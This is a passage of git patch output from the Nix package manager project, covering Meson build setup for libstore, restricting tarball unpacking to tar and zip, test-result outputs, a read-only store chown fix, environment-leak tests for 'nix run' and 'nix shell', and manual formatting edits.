directly, and is only used to +# tell Nix where to look for nix.conf, so it doesn't get appended to prefix. +sysconfdir = get_option('sysconfdir') +if not fs.is_absolute(sysconfdir) + sysconfdir = '/' / sysconfdir +endif + +lsof = find_program('lsof', required : false) + +# Aside from prefix itself, each of these was made into an absolute path +# by joining it with prefix, unless it was already an absolute path +# (which is the default for store-dir, state-dir, and log-dir). +cpp_str_defines = { + 'NIX_PREFIX': prefix, + 'NIX_STORE_DIR': store_dir, + 'NIX_DATA_DIR': datadir, + 'NIX_STATE_DIR': state_dir / 'nix', + 'NIX_LOG_DIR': log_dir, + 'NIX_CONF_DIR': sysconfdir / 'nix', + 'NIX_BIN_DIR': bindir, + 'NIX_MAN_DIR': mandir, +} + +if lsof.found() + lsof_path = lsof.full_path() +else + # Just look up on the PATH + lsof_path = 'lsof' +endif +cpp_str_defines += { + 'LSOF': lsof_path +} + +#if busybox.found() + cpp_str_defines += { +# 'SANDBOX_SHELL': busybox.full_path() + } +#endif + +cpp_args = [] + +foreach name, value : cpp_str_defines + cpp_args += [ + '-D' + name + '=' + '"' + value + '"' + ] +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # See note in `../nix-util/meson.build` + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +this_library = library( + 'nixstore', + generated_headers, + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + cpp_args : cpp_args, + link_args: linker_export_flags, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = deps_public +if nix_util.type_name() == 'internal' + # `requires` cannot contain declared dependencies (from the + # subproject), so we need to do this manually + requires = [ 'nix-util' ] + requires +endif + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, + libraries_private : ['-lboost_container'], +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [nix_util], +)) diff --git a/src/libstore/meson.options b/src/libstore/meson.options new file mode 100644 index 000000000..723a8e020 --- /dev/null +++ b/src/libstore/meson.options @@ -0,0 +1,25 @@ +# vim: filetype=meson + +option('embedded-sandbox-shell', type : 'boolean', value : false, + description : 'include the sandbox shell in the Nix binary', +) + +option('seccomp-sandboxing', type : 'feature', + description : 'build support for seccomp sandboxing (recommended unless your arch doesn\'t support libseccomp, only relevant on Linux)', +) + +option('sandbox-shell', type : 'string', value : 'busybox', + description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', +) + +option('store-dir', type : 'string', value : '/nix/store', + description : 'path of the Nix store', +) + +option('state-dir', type : 'string', value : '/nix/var', + description : 'path to store state in for Nix', +) + +option('log-dir', type : 'string', value : '/nix/var/log/nix', + description : 'path to store logs in for Nix', +) diff --git a/src/libstore/package.nix b/src/libstore/package.nix new file mode 100644 index 000000000..e54dfe597 --- /dev/null +++ b/src/libstore/package.nix @@ -0,0 +1,142 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, nix-util +, boost +, curl +, aws-sdk-cpp +, libseccomp +, nlohmann_json +, man +, sqlite + +, busybox-sandbox-shell ? null + +# Configuration Options + +, versionSuffix ? "" +, officialRelease ? false + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false + +# Avoid setting things that would interfere with a functioning devShell +, forDevShell ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-store"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "sb") ./.) + (fileset.fileFilter (file: file.hasExt "md") ./.) + (fileset.fileFilter (file: file.hasExt "sql") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + boost + curl + sqlite + ] ++ lib.optional stdenv.hostPlatform.isLinux libseccomp + # There have been issues building these dependencies + ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) + (aws-sdk-cpp.override { + apis = ["s3" "transfer"]; + customMemoryManagement = false; + }) + ; + + propagatedBuildInputs = [ + nix-util + nlohmann_json + ]; + + disallowedReferences = [ boost ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux) + (lib.mesonBool "embedded-sandbox-shell" stdenv.hostPlatform.isStatic) + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ + (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox") + ]; + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + postInstall = + # Remove absolute path to boost libs that ends up in `Libs.private` + # by default, and would clash with out `disallowedReferences`. Part + # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. + '' + sed -i "$out/lib/pkgconfig/nix-store.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' + ''; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libstore/unix/meson.build b/src/libstore/unix/meson.build new file mode 100644 index 000000000..d9d190131 --- /dev/null +++ b/src/libstore/unix/meson.build @@ -0,0 +1,19 @@ +sources += files( + 'build/child.cc', + 'build/hook-instance.cc', + 'build/local-derivation-goal.cc', + 'pathlocks.cc', + 'user-lock.cc', +) + +include_dirs += include_directories( + '.', + 'build', +) + +headers += files( + 'build/child.hh', + 'build/hook-instance.hh', + 'build/local-derivation-goal.hh', + 'user-lock.hh', +) diff --git a/src/libstore/windows/meson.build b/src/libstore/windows/meson.build new file mode 100644 index 000000000..b81c5b2af --- /dev/null +++ b/src/libstore/windows/meson.build @@ -0,0 +1,11 @@ +sources += files( + 'pathlocks.cc', +) + +include_dirs += include_directories( + '.', + #'build', +) + +headers += files( +) From 5a9e1c0d20e2332c79fb0fd7570315a5d93041f2 Mon Sep 17 00:00:00 2001 From: Andreas Rammhold Date: Sat, 15 Jun 2024 14:02:17 +0200 Subject: [PATCH 0827/1251] Restrict supported tarball formats to actual Tarballs The documentation is clear about the supported formats (with at least `builtins.fetchTarball`). The way the code was written previously it supported all the formats that libarchive supported. That is a surprisingly large amount of formats that are likely not on the radar of the Nix developers and users. Before people end up relying on this (or if they do) it is better to break it now before it becomes a widespread "feature". Zip file support has been retained as (at least to my knowledge) historically that has been used to fetch nixpkgs in some shell expressions *many* years back. Fixes https://github.com/NixOS/nix/issues/10917 --- src/libutil/tarfile.cc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 6bb2bd2f3..f0e24e937 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -79,7 +79,8 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional com } if (!raw) { - archive_read_support_format_all(archive); + archive_read_support_format_tar(archive); + archive_read_support_format_zip(archive); } else { archive_read_support_format_raw(archive); archive_read_support_format_empty(archive); @@ -96,7 +97,8 @@ TarArchive::TarArchive(const Path & path) , buffer(defaultBufferSize) { archive_read_support_filter_all(archive); - archive_read_support_format_all(archive); + archive_read_support_format_tar(archive); + archive_read_support_format_zip(archive); archive_read_set_option(archive, NULL, "mac-ext", NULL); check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s"); } From 2894c1b38e961fe2cc22df2a8247773cd012dcac Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 16:34:49 +0200 Subject: [PATCH 0828/1251] WIP add testresults output --- package.nix | 8 +++++++- tests/unit/libexpr/local.mk | 2 +- tests/unit/libfetchers/local.mk | 2 +- tests/unit/libstore/local.mk | 2 +- tests/unit/libutil/local.mk | 2 +- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/package.nix b/package.nix index 677ee73c7..5986edeb4 100644 --- a/package.nix +++ b/package.nix @@ -208,7 +208,9 @@ in { # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs || enableExternalAPIDocs)) "doc" - ++ lib.optional installUnitTests "check"; + ++ lib.optional installUnitTests "check" + ++ lib.optional doCheck "testresults" + ; nativeBuildInputs = [ autoconf-archive @@ -317,6 +319,10 @@ in { makeFlags = "profiledir=$(out)/etc/profile.d PRECOMPILE_HEADERS=1"; + preCheck = '' + mkdir $testresults + ''; + installTargets = lib.optional doBuild "install" ++ lib.optional enableInternalAPIDocs "internal-api-html" ++ lib.optional enableExternalAPIDocs "external-api-html"; diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index 09a7dfca1..1617e2823 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -4,7 +4,7 @@ programs += libexpr-tests libexpr-tests_NAME := libnixexpr-tests -libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data +libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml libexpr-tests_DIR := $(d) diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk index d576d28f3..286a59030 100644 --- a/tests/unit/libfetchers/local.mk +++ b/tests/unit/libfetchers/local.mk @@ -4,7 +4,7 @@ programs += libfetchers-tests libfetchers-tests_NAME = libnixfetchers-tests -libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data +libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml libfetchers-tests_DIR := $(d) diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk index 0af1d2622..8d3d6b0af 100644 --- a/tests/unit/libstore/local.mk +++ b/tests/unit/libstore/local.mk @@ -4,7 +4,7 @@ programs += libstore-tests libstore-tests_NAME = libnixstore-tests -libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data +libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml libstore-tests_DIR := $(d) diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk index b9bddc24d..404f35cf1 100644 --- a/tests/unit/libutil/local.mk +++ b/tests/unit/libutil/local.mk @@ -4,7 +4,7 @@ programs += libutil-tests libutil-tests_NAME = libnixutil-tests -libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data +libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml libutil-tests_DIR := $(d) From de639ceafe75ae25293f49f170ccad0c3e4a133f Mon Sep 17 00:00:00 2001 From: Jared Baur Date: Sat, 15 Jun 2024 09:06:35 +0000 Subject: [PATCH 0829/1251] Don't chown when local-store is read-only If the local-store is using the read-only flag, the underlying filesystem might be read-only, thus an attempt to `chown` would always fail. --- src/libstore/local-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index b44879cc9..676a035fa 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -233,7 +233,7 @@ LocalStore::LocalStore(const Params & params) struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); if (!gr) printError("warning: the group '%1%' specified in 'build-users-group' does not exist", settings.buildUsersGroup); - else { + else if (!readOnly) { struct stat st; if (stat(realStoreDir.get().c_str(), &st)) throw SysError("getting attributes of path '%1%'", realStoreDir); From b0cfac8f93b3dc22df6bff14b12edc9d00a1d439 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 00:03:50 -0700 Subject: [PATCH 0830/1251] Fix compile error on windows --- src/libutil/file-descriptor.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh index 492b67d74..be61375f6 100644 --- a/src/libutil/file-descriptor.hh +++ b/src/libutil/file-descriptor.hh @@ -157,7 +157,7 @@ void closeOnExec(Descriptor fd); #endif #if defined(_WIN32) && _WIN32_WINNT >= 0x0600 -namespace windows ( +namespace windows { Path handleToPath(Descriptor handle); std::wstring handleToFileName(Descriptor handle); From 5e806673c3b7dda4a6dcf4fc45a0aa292751e6cb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 17 Jun 2024 08:29:02 -0400 Subject: [PATCH 0831/1251] Make `hydraJobs.build` include the constituent packages We were only doing that for the more exotic builds, just forgot. --- maintainers/hydra.nix | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index d53647549..8ccf2f951 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -41,7 +41,8 @@ let in { # Binary package for various platforms. - build = forAllSystems (system: self.packages.${system}.nix); + build = forAllPackages (pkgName: + forAllSystems (system: self.packages.${system}.${pkgName})); shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); From c9cdc2423acb84714f2434333dbadfd1acaa9d26 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 17 Jun 2024 09:04:41 -0400 Subject: [PATCH 0832/1251] Temporarily remove the Meson builds from `packages` in the flake This will avoid some out-of-memory issues in GitHub actions that result from num jobs > 1 and num cores = 4. Once we only have the Meson build system, this problem should go away, and we can reenable these jobs. --- flake.nix | 7 +++++-- maintainers/hydra.nix | 2 +- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/flake.nix b/flake.nix index 377247cb8..9f494cb15 100644 --- a/flake.nix +++ b/flake.nix @@ -270,8 +270,11 @@ (lib.genAttrs stdenvs (_: { }))) { "nix" = { }; - "nix-util" = { }; - "nix-store" = { }; + # Temporarily disabled because GitHub Actions OOM issues. Once + # the old build system is gone and we are back to one build + # system, we should reenable these. + #"nix-util" = { }; + #"nix-store" = { }; } // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 8ccf2f951..cc0dadac9 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -42,7 +42,7 @@ in { # Binary package for various platforms. build = forAllPackages (pkgName: - forAllSystems (system: self.packages.${system}.${pkgName})); + forAllSystems (system: nixpkgsFor.${system}.native.${pkgName})); shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); From 68b8a28bc4b09cdd88f28bf0ba102a274a461b0c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 11:39:06 +0200 Subject: [PATCH 0833/1251] tests/run.sh: Check that env is mostly unmodified --- tests/functional/flakes/run.sh | 21 +++++++++++++++++++++ tests/functional/shell-hello.nix | 22 ++++++++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/tests/functional/flakes/run.sh b/tests/functional/flakes/run.sh index 4d8b512b9..7fc78b3aa 100755 --- a/tests/functional/flakes/run.sh +++ b/tests/functional/flakes/run.sh @@ -27,5 +27,26 @@ nix run --no-write-lock-file .#pkgAsPkg ! nix run --no-write-lock-file .#pkgAsApp || fail "'nix run' shouldn’t accept an 'app' defined under 'packages'" ! nix run --no-write-lock-file .#appAsPkg || fail "elements of 'apps' should be of type 'app'" +# Test that we're not setting any more environment variables than necessary. +# For instance, we might set an environment variable temporarily to affect some +# initialization or whatnot, but this must not leak into the environment of the +# command being run. +env > $TEST_ROOT/expected-env +nix run -f shell-hello.nix env > $TEST_ROOT/actual-env +# Remove/reset variables we expect to be different. +# - PATH is modified by nix shell +# - _ is set by bash and is expected to differ because it contains the original command +# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control +sed -i \ + -e 's/PATH=.*/PATH=.../' \ + -e 's/_=.*/_=.../' \ + -e '/^__CF_USER_TEXT_ENCODING=.*$/d' \ + $TEST_ROOT/expected-env $TEST_ROOT/actual-env +sort $TEST_ROOT/expected-env | uniq > $TEST_ROOT/expected-env.sorted +# nix run appears to clear _. I don't understand why. Is this ok? +echo "_=..." >> $TEST_ROOT/actual-env +sort $TEST_ROOT/actual-env | uniq > $TEST_ROOT/actual-env.sorted +diff $TEST_ROOT/expected-env.sorted $TEST_ROOT/actual-env.sorted + clearStore diff --git a/tests/functional/shell-hello.nix b/tests/functional/shell-hello.nix index c46fdec8a..c920d7cb4 100644 --- a/tests/functional/shell-hello.nix +++ b/tests/functional/shell-hello.nix @@ -55,4 +55,26 @@ rec { chmod +x $out/bin/hello ''; }; + + # execs env from PATH, so that we can probe the environment + # does not allow arguments, because we don't need them + env = mkDerivation { + name = "env"; + outputs = [ "out" ]; + buildCommand = + '' + mkdir -p $out/bin + + cat > $out/bin/env <&2 + exit 1 + fi + exec env + EOF + chmod +x $out/bin/env + ''; + }; + } From 316b58dd5fcf6df5931c53c85a30018fe9d7d2ff Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 11:39:33 +0200 Subject: [PATCH 0834/1251] tests/shell.sh: Check that env is mostly unmodified --- tests/functional/shell.sh | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index 1760eefff..fd0020a0f 100755 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -21,6 +21,25 @@ nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' # Test that symlinks outside of the store don't work. expect 1 nix shell -f shell-hello.nix forbidden-symlink -c hello 2>&1 | grepQuiet "is not in the Nix store" +# Test that we're not setting any more environment variables than necessary. +# For instance, we might set an environment variable temporarily to affect some +# initialization or whatnot, but this must not leak into the environment of the +# command being run. +env > $TEST_ROOT/expected-env +nix shell -f shell-hello.nix hello -c env > $TEST_ROOT/actual-env +# Remove/reset variables we expect to be different. +# - PATH is modified by nix shell +# - _ is set by bash and is expectedf to differ because it contains the original command +# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control +sed -i \ + -e 's/PATH=.*/PATH=.../' \ + -e 's/_=.*/_=.../' \ + -e '/^__CF_USER_TEXT_ENCODING=.*$/d' \ + $TEST_ROOT/expected-env $TEST_ROOT/actual-env +sort $TEST_ROOT/expected-env > $TEST_ROOT/expected-env.sorted +sort $TEST_ROOT/actual-env > $TEST_ROOT/actual-env.sorted +diff $TEST_ROOT/expected-env.sorted $TEST_ROOT/actual-env.sorted + if isDaemonNewer "2.20.0pre20231220"; then # Test that command line attribute ordering is reflected in the PATH # https://github.com/NixOS/nix/issues/7905 From 4f340213bbfe9e372eea1eb02230720a5b5ba2b8 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 17 Jun 2024 17:49:09 +0200 Subject: [PATCH 0835/1251] use separate paragraphs inside list items --- doc/manual/src/command-ref/nix-channel.md | 18 ++++--- .../src/command-ref/nix-collect-garbage.md | 6 ++- .../command-ref/nix-env/delete-generations.md | 9 ++-- .../src/command-ref/nix-env/env-common.md | 3 +- .../src/command-ref/nix-env/opt-common.md | 12 +++-- doc/manual/src/command-ref/nix-env/query.md | 54 ++++++++++++------- doc/manual/src/command-ref/nix-env/upgrade.md | 18 ++++--- doc/manual/src/command-ref/nix-hash.md | 33 ++++++++---- doc/manual/src/command-ref/nix-instantiate.md | 24 ++++++--- .../src/command-ref/nix-prefetch-url.md | 15 ++++-- doc/manual/src/command-ref/nix-shell.md | 24 ++++++--- .../src/command-ref/nix-store/add-fixed.md | 3 +- doc/manual/src/command-ref/nix-store/gc.md | 12 +++-- doc/manual/src/command-ref/nix-store/query.md | 48 +++++++++++------ .../src/command-ref/nix-store/realise.md | 9 ++-- doc/manual/src/command-ref/nix-store/serve.md | 3 +- .../src/command-ref/nix-store/verify.md | 6 ++- 17 files changed, 198 insertions(+), 99 deletions(-) diff --git a/doc/manual/src/command-ref/nix-channel.md b/doc/manual/src/command-ref/nix-channel.md index cebbc7b00..99f6e37cf 100644 --- a/doc/manual/src/command-ref/nix-channel.md +++ b/doc/manual/src/command-ref/nix-channel.md @@ -27,7 +27,8 @@ The moving parts of channels are: This command has the following operations: - - `--add` *url* \[*name*\]\ + - `--add` *url* \[*name*\] + Add a channel *name* located at *url* to the list of subscribed channels. If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed. @@ -39,17 +40,21 @@ This command has the following operations: A channel URL must point to a directory containing a file `nixexprs.tar.gz`. At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point. - - `--remove` *name*\ + - `--remove` *name* + Remove the channel *name* from the list of subscribed channels. - - `--list`\ + - `--list` + Print the names and URLs of all subscribed channels on standard output. - - `--update` \[*names*…\]\ + - `--update` \[*names*…\] + Download the Nix expressions of subscribed channels and create a new generation. Update all channels if none is specified, and only those included in *names* otherwise. - - `--list-generations`\ + - `--list-generations` + Prints a list of all the current existing generations for the channel profile. @@ -58,7 +63,8 @@ This command has the following operations: nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations ``` - - `--rollback` \[*generation*\]\ + - `--rollback` \[*generation*\] + Revert channels to the state before the last call to `nix-channel --update`. Optionally, you can specify a specific channel *generation* number to restore. diff --git a/doc/manual/src/command-ref/nix-collect-garbage.md b/doc/manual/src/command-ref/nix-collect-garbage.md index 8e1307c48..2136d28e9 100644 --- a/doc/manual/src/command-ref/nix-collect-garbage.md +++ b/doc/manual/src/command-ref/nix-collect-garbage.md @@ -48,12 +48,14 @@ Instead, it looks in a few locations, and acts on all profiles it finds there: These options are for deleting old [profiles] prior to deleting unreachable [store objects]. -- [`--delete-old`](#opt-delete-old) / `-d`\ +- [`--delete-old`](#opt-delete-old) / `-d` + Delete all old generations of profiles. This is the equivalent of invoking [`nix-env --delete-generations old`](@docroot@/command-ref/nix-env/delete-generations.md#generations-old) on each found profile. -- [`--delete-older-than`](#opt-delete-older-than) *period*\ +- [`--delete-older-than`](#opt-delete-older-than) *period* + Delete all generations of profiles older than the specified amount (except for the generations that were active at that point in time). *period* is a value such as `30d`, which would mean 30 days. diff --git a/doc/manual/src/command-ref/nix-env/delete-generations.md b/doc/manual/src/command-ref/nix-env/delete-generations.md index ae618b2c6..b1ff0bb69 100644 --- a/doc/manual/src/command-ref/nix-env/delete-generations.md +++ b/doc/manual/src/command-ref/nix-env/delete-generations.md @@ -12,7 +12,8 @@ This operation deletes the specified generations of the current profile. *generations* can be a one of the following: -- [`...`](#generations-list):\ +- [`...`](#generations-list) + A list of generation numbers, each one a separate command-line argument. Delete exactly the profile generations given by their generation number. @@ -30,7 +31,8 @@ This operation deletes the specified generations of the current profile. > Because one can roll back to a previous generation, it is possible to have generations newer than the current one. > They will also be deleted. -- [`d`](#generations-time):\ +- [`d`](#generations-time) + The last *number* days *Example*: `30d` @@ -38,7 +40,8 @@ This operation deletes the specified generations of the current profile. Delete all generations created more than *number* days ago, except the most recent one of them. This allows rolling back to generations that were available within the specified period. -- [`+`](#generations-count):\ +- [`+`](#generations-count) + The last *number* generations up to the present *Example*: `+5` diff --git a/doc/manual/src/command-ref/nix-env/env-common.md b/doc/manual/src/command-ref/nix-env/env-common.md index 735817959..200da7219 100644 --- a/doc/manual/src/command-ref/nix-env/env-common.md +++ b/doc/manual/src/command-ref/nix-env/env-common.md @@ -1,6 +1,7 @@ # Environment variables -- `NIX_PROFILE`\ +- `NIX_PROFILE` + Location of the Nix profile. Defaults to the target of the symlink `~/.nix-profile`, if it exists, or `/nix/var/nix/profiles/default` otherwise. diff --git a/doc/manual/src/command-ref/nix-env/opt-common.md b/doc/manual/src/command-ref/nix-env/opt-common.md index 636281b6d..3ece3e881 100644 --- a/doc/manual/src/command-ref/nix-env/opt-common.md +++ b/doc/manual/src/command-ref/nix-env/opt-common.md @@ -2,7 +2,8 @@ The following options are allowed for all `nix-env` operations, but may not always have an effect. - - `--file` / `-f` *path*\ + - `--file` / `-f` *path* + Specifies the Nix expression (designated below as the *active Nix expression*) used by the `--install`, `--upgrade`, and `--query --available` operations to obtain derivations. The default is @@ -13,13 +14,15 @@ The following options are allowed for all `nix-env` operations, but may not alwa unpacked to a temporary location. The tarball must include a single top-level directory containing at least a file named `default.nix`. - - `--profile` / `-p` *path*\ + - `--profile` / `-p` *path* + Specifies the profile to be used by those operations that operate on a profile (designated below as the *active profile*). A profile is a sequence of user environments called *generations*, one of which is the *current generation*. - - `--dry-run`\ + - `--dry-run` + For the `--install`, `--upgrade`, `--uninstall`, `--switch-generation`, `--delete-generations` and `--rollback` operations, this flag will cause `nix-env` to print what *would* be @@ -29,7 +32,8 @@ The following options are allowed for all `nix-env` operations, but may not alwa [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths will be built from source (because no substitute is available). - - `--system-filter` *system*\ + - `--system-filter` *system* + By default, operations such as `--query --available` show derivations matching any platform. This option allows you to use derivations for the specified platform *system*. diff --git a/doc/manual/src/command-ref/nix-env/query.md b/doc/manual/src/command-ref/nix-env/query.md index c9b4d8513..c67794ed5 100644 --- a/doc/manual/src/command-ref/nix-env/query.md +++ b/doc/manual/src/command-ref/nix-env/query.md @@ -35,11 +35,13 @@ The derivations are sorted by their `name` attributes. The following flags specify the set of things on which the query operates. - - `--installed`\ + - `--installed` + The query operates on the store paths that are installed in the current generation of the active profile. This is the default. - - `--available`; `-a`\ + - `--available` / `-a` + The query operates on the derivations that are available in the active Nix expression. @@ -50,24 +52,28 @@ selected derivations. Multiple flags may be specified, in which case the information is shown in the order given here. Note that the name of the derivation is shown unless `--no-name` is specified. - - `--xml`\ + - `--xml` + Print the result in an XML representation suitable for automatic processing by other tools. The root element is called `items`, which contains a `item` element for each available or installed derivation. The fields discussed below are all stored in attributes of the `item` elements. - - `--json`\ + - `--json` + Print the result in a JSON representation suitable for automatic processing by other tools. - - `--prebuilt-only` / `-b`\ + - `--prebuilt-only` / `-b` + Show only derivations for which a substitute is registered, i.e., there is a pre-built binary available that can be downloaded in lieu of building the derivation. Thus, this shows all packages that probably can be installed quickly. - - `--status`; `-s`\ + - `--status` / `-s` + Print the *status* of the derivation. The status consists of three characters. The first is `I` or `-`, indicating whether the derivation is currently installed in the current generation of the @@ -78,49 +84,61 @@ derivation is shown unless `--no-name` is specified. derivation to be built. The third is `S` or `-`, indicating whether a substitute is available for the derivation. - - `--attr-path`; `-P`\ + - `--attr-path` / `-P` + Print the *attribute path* of the derivation, which can be used to unambiguously select it using the `--attr` option available in commands that install derivations like `nix-env --install`. This option only works together with `--available` - - `--no-name`\ + - `--no-name` + Suppress printing of the `name` attribute of each derivation. - - `--compare-versions` / `-c`\ + - `--compare-versions` / `-c` + Compare installed versions to available versions, or vice versa (if `--available` is given). This is useful for quickly seeing whether upgrades for installed packages are available in a Nix expression. A column is added with the following meaning: - - `<` *version*\ + - `<` *version* + A newer version of the package is available or installed. - - `=` *version*\ + - `=` *version* + At most the same version of the package is available or installed. - - `>` *version*\ + - `>` *version* + Only older versions of the package are available or installed. - - `- ?`\ + - `- ?` + No version of the package is available or installed. - - `--system`\ + - `--system` + Print the `system` attribute of the derivation. - - `--drv-path`\ + - `--drv-path` + Print the path of the [store derivation](@docroot@/glossary.md#gloss-store-derivation). - - `--out-path`\ + - `--out-path` + Print the output path of the derivation. - - `--description`\ + - `--description` + Print a short (one-line) description of the derivation, if available. The description is taken from the `meta.description` attribute of the derivation. - - `--meta`\ + - `--meta` + Print all of the meta-attributes of the derivation. This option is only available with `--xml` or `--json`. diff --git a/doc/manual/src/command-ref/nix-env/upgrade.md b/doc/manual/src/command-ref/nix-env/upgrade.md index 322dfbda2..dc99064b9 100644 --- a/doc/manual/src/command-ref/nix-env/upgrade.md +++ b/doc/manual/src/command-ref/nix-env/upgrade.md @@ -28,36 +28,42 @@ version is installed. # Flags - - `--lt`\ + - `--lt` + Only upgrade a derivation to newer versions. This is the default. - - `--leq`\ + - `--leq` + In addition to upgrading to newer versions, also “upgrade” to derivations that have the same version. Version are not a unique identification of a derivation, so there may be many derivations that have the same version. This flag may be useful to force “synchronisation” between the installed and available derivations. - - `--eq`\ + - `--eq` + *Only* “upgrade” to derivations that have the same version. This may not seem very useful, but it actually is, e.g., when there is a new release of Nixpkgs and you want to replace installed applications with the same versions built against newer dependencies (to reduce the number of dependencies floating around on your system). - - `--always`\ + - `--always` + In addition to upgrading to newer versions, also “upgrade” to derivations that have the same or a lower version. I.e., derivations may actually be downgraded 